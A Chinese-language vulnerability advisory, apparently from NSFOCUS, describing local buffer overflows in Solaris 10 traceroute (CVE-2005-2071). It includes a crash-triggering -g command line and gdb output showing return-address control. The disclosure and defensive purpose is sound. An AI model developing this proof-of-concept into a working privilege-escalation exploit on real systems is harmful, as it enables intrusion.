首页 -> 安全研究

安全研究

安全漏洞
Sun Solaris traceroute多个本地溢出漏洞

发布日期:2005-06-27
更新日期:2005-06-27

受影响系统:
Sun Solaris 10.0
描述:
BUGTRAQ  ID: 14049
CVE(CAN) ID: CVE-2005-2071

Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。

Solaris 10的/usr/sbin/traceroute在处理-g参数时存在缓冲区溢出,本地攻击者可能利用此漏洞提升自己在系统中的权限。

提供-g参数后,IP地址参数会覆盖返回地址:

atari:root:/home/venglin# /usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g
7 -g 8 -g 9 -g 10 127.0.0.1
traceroute: too many IPv4 gateways
traceroute: unknown IPv4 host 1
traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 88 byte packets
Segmentation fault (core dumped)

atari:root:/home/venglin# gdb /usr/sbin/traceroute core
[...]
Core was generated by `/usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g 7
-g 8 -g 9 -g 10 127.0.0'.
Program terminated with signal 11, Segmentation fault.
[...]
#0  0x0100007f in ?? ()

0x0100007f是127.0.0.1。

攻击者可以利用这个漏洞运行任意代码。但由于使用__init_suid_priv(),因此漏洞影响仅限于原始套接字访问。

此外畸形的-s参数还可能导致堆破坏:

atari:root:/home/venglin# gdb /usr/sbin/traceroute core
[...]
#0  0xfee7178d in _free_unlocked ()
   from /lib/libc.so.1
(gdb) bt
#0  0xfee7178d in _free_unlocked () from /lib/libc.so.1
#1  0xfee71752 in free () from /lib/libc.so.1
#2  0xfefa49a6 in freeaddrinfo () from /lib/libsocket.so.1
#3  0x08052a7a in main ()

<*来源:Przemyslaw Frasunek (venglin@freebsd.lublin.pl
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111963068714114&w=2
*>

建议:
厂商补丁:

Sun
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://sunsolve.sun.com/security

浏览次数:3197
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障